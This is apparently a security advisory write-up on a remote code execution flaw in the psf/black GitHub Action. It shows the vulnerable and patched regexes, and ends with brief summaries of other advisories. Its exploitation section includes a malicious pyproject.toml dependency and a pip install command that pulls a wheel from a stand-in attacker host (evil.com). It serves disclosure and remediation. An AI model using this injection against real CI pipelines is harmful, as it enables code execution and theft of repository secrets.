Mar 7, 2026·5 min read·18 visits
The psf/black GitHub Action is vulnerable to RCE when `use_pyproject` is enabled. Attackers can modify `pyproject.toml` in a Pull Request to include a malicious dependency URL, which the Action unsafely passes to `pip install`, executing arbitrary code on the runner.
A high-severity Remote Code Execution (RCE) vulnerability exists in the official GitHub Action for the Black Python code formatter (`psf/black`). The vulnerability arises from improper input validation within the Action's version parsing logic when reading `pyproject.toml` configuration files. By constructing a malicious dependency definition using PEP 508 direct references (e.g., pointing to a remote URL), an attacker can inject arbitrary arguments into the underlying `pip install` command. This flaw allows unauthorized code execution within the context of the GitHub Actions runner, potentially compromising CI/CD pipelines and secrets.
The psf/black GitHub Action is a widely used CI/CD component that enforces Python code formatting standards. The vulnerability, identified as GHSA-V53H-F6M7-XCGM, resides in the mechanism the Action uses to determine which version of Black to install. Specifically, when the configuration option use_pyproject is set to true, the Action attempts to parse the pyproject.toml file to extract the requested version of Black.
The parsing logic relies on a regular expression that fails to strictly validate the version string. Instead of restricting input to valid version numbers (e.g., 23.1.0) or standard comparison operators, the parser inadvertently accepts arbitrary strings, including PEP 508 direct references. This allows the inclusion of the @ symbol followed by a URL.
When the Action encounters such a string, it passes the captured value directly to a shell command responsible for installing the dependency. This behavior transforms a configuration parsing routine into a vector for Remote Code Execution (RCE), as pip will download and execute code from the attacker-controlled URL during the installation process.
The root cause of this vulnerability is an overly permissive regular expression used to extract the version specifier from pyproject.toml content. The vulnerability is located in action/main.py. The original implementation used a negative character class to identify the version string, rather than an allowlist of valid characters.
The vulnerable code utilized the following regex:
BLACK_VERSION_RE = re.compile(r"^black([^A-Z0-9._-]+.*)$", re.IGNORECASE)This regular expression captures any text following the word "black" provided that the first character of the capture group is not an uppercase letter, number, dot, underscore, or hyphen. Crucially, this negative logic allows special characters such as @ or whitespace followed by @ to pass through. The intention was likely to capture standard version specifiers (e.g., ==22.3.0), but the implementation failed to account for the full syntax of PEP 508, which permits direct references via the @ syntax.
The captured group is subsequently interpolated into a pip install command without further sanitization. This lack of secondary validation means that if the regex matches a malicious string, that string is executed as a command argument.
The remediation for this vulnerability involves replacing the permissive negative matching logic with a strict allowlist regex. The patch ensures that only valid Python version comparison operators and version numbers are accepted.
Vulnerable Implementation (action/main.py):
# Vulnerable: Accepts anything starting with a character NOT in [A-Z0-9._-]
# This allows " @ https://attacker.com/malicious.whl"
BLACK_VERSION_RE = re.compile(r"^black([^A-Z0-9._-]+.*)$", re.IGNORECASE)Patched Implementation (Commit 0a2560b):
# Fixed: Whitelists specific operators (~=, ==, !=, etc.) and alphanumeric version strings
BLACK_VERSION_RE = re.compile(
r"^black((?:\s*(?:~=|==|!=|<=|>=|<|>|===)\s*[A-Za-z0-9*+._-]+)"
r"(?:\s*,\s*(?:~=|==|!=|<=|>=|<|>|===)\s*[A-Za-z0-9*+._-]+)*)\s*$",
re.IGNORECASE,
)The patched regex enforces a strict structure: it requires a valid comparison operator (like == or >=) followed by a version identifier composed of alphanumeric characters and standard version delimiters (*+._-). It also supports comma-separated version constraints (e.g., >=20.0, <24.0). By enforcing this structure, the injection of the @ symbol or URLs is rendered impossible, as the regex will fail to match malicious lines entirely.
To exploit this vulnerability, an attacker must target a repository that utilizes the psf/black Action with the configuration use_pyproject: true. This configuration instructs the Action to dynamically determine the Black version from the repository's files.
The attack vector involves submitting a Pull Request (PR) that modifies the pyproject.toml file. The attacker replaces the standard version dependency with a direct reference to a malicious wheel or source distribution hosted on an attacker-controlled server.
Example Malicious pyproject.toml:
[project]
name = "target-repo"
dependencies = [
"black @ https://evil.com/malicious-1.0.0-py3-none-any.whl"
]When the GitHub Action runs on this PR, the vulnerable regex captures the string @ https://evil.com/malicious-1.0.0-py3-none-any.whl. The Action then executes:
pip install "black @ https://evil.com/malicious-1.0.0-py3-none-any.whl"During the installation of the remote package, pip executes the setup.py script (for source distributions) or any pre-install hooks. This grants the attacker code execution capabilities within the CI/CD runner environment. Attackers can leverage this access to exfiltrate repository secrets, modify build artifacts, or pivot to other systems accessible by the runner.
The impact of this vulnerability is rated as High (8.7). Successful exploitation results in full Remote Code Execution (RCE) on the GitHub Actions runner. The context of a CI/CD runner is highly sensitive; these environments often possess privileged credentials, such as:
GITHUB_TOKEN often has write permissions to the repository.Compromise of the runner can lead to a supply chain attack where the attacker injects malicious code into the project's build artifacts or releases. Furthermore, since the vulnerability can be triggered via a Pull Request from a fork (depending on workflow triggers), it is exposable to unauthenticated external attackers in public repositories. The fix is robust and completely eliminates the vector by enforcing strict syntax validation.
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N| Product | Affected Versions | Fixed Version |
|---|---|---|
psf/black GitHub Action Python Software Foundation | < 0a2560b (Commit) | 0a2560b (Commit) |
| Attribute | Detail |
|---|---|
| CWE ID | CWE-20 |
| Attack Vector | Network |
| CVSS Score | 8.7 (High) |
| Affected Component | action/main.py |
| Exploit Status | Proof of Concept Available |
| Impact | Remote Code Execution |
A CSV Formula Injection vulnerability (CWE-1236) exists in the Spree headless eCommerce platform within the customer export functionality. An unauthenticated attacker can register a customer profile containing malicious formula sequences in fields like the first name or last name. When an administrator exports the customer data to a CSV file and opens it in a spreadsheet application, the spreadsheet engine can interpret and execute these formulas, potentially leading to remote command execution on the administrator's workstation or out-of-band data exfiltration.
A Stored Cross-Site Scripting (XSS) vulnerability exists in WWBN AVideo versions up to and including 29.0. Unsanitized category descriptions are stored in the database and subsequently rendered as raw HTML in the Gallery view plugin, allowing low-privileged authenticated users to execute arbitrary JavaScript in the browsers of visiting users.
A critical supply chain compromise was identified in the Node.js package @cap-js/openapi at version 1.4.1. An attacker gained unauthorized publishing access to the npm registry and distributed a backdoored release that harvests sensitive developer credentials, environment variables, and SSH keys. The malicious code then exfiltrates the collected data to external actor-controlled servers.
An authenticated wallet credit bypass vulnerability exists in WWBN AVideo version 29.0 and earlier. The AuthorizeNet plugin includes an unfinished mockup endpoint, processPayment.json.php, which lacks actual transaction verification and hardcodes success. This allows any authenticated user to credit their wallet with arbitrary balances without making any payments.
An unauthenticated stored DOM-based Cross-Site Scripting (DOM XSS) vulnerability in the YPTSocket plugin of WWBN AVideo (formerly YouPHPTube) allows remote attackers to execute arbitrary JavaScript within the session context of administrative users. Unsanitized metadata parameters supplied during the WebSocket handshake are persisted in an SQLite database and broadcast to connected users. The frontend application processes these parameters through an unsafe jQuery append sink, leading to silent, high-impact administrative context compromise.
A path parsing and normalization inconsistency vulnerability exists in the Hono web framework prior to version 4.12.21. When hosting sub-applications via the app.mount() routing interface, Hono calculates the routing path prefix length on a percent-decoded representation of the URI but executes the path-slicing offset on the raw, percent-encoded string. This discrepancy results in malformed request paths being dispatched to mounted sub-applications, potentially leading to route bypasses, route confusion, and application-level Denial of Service.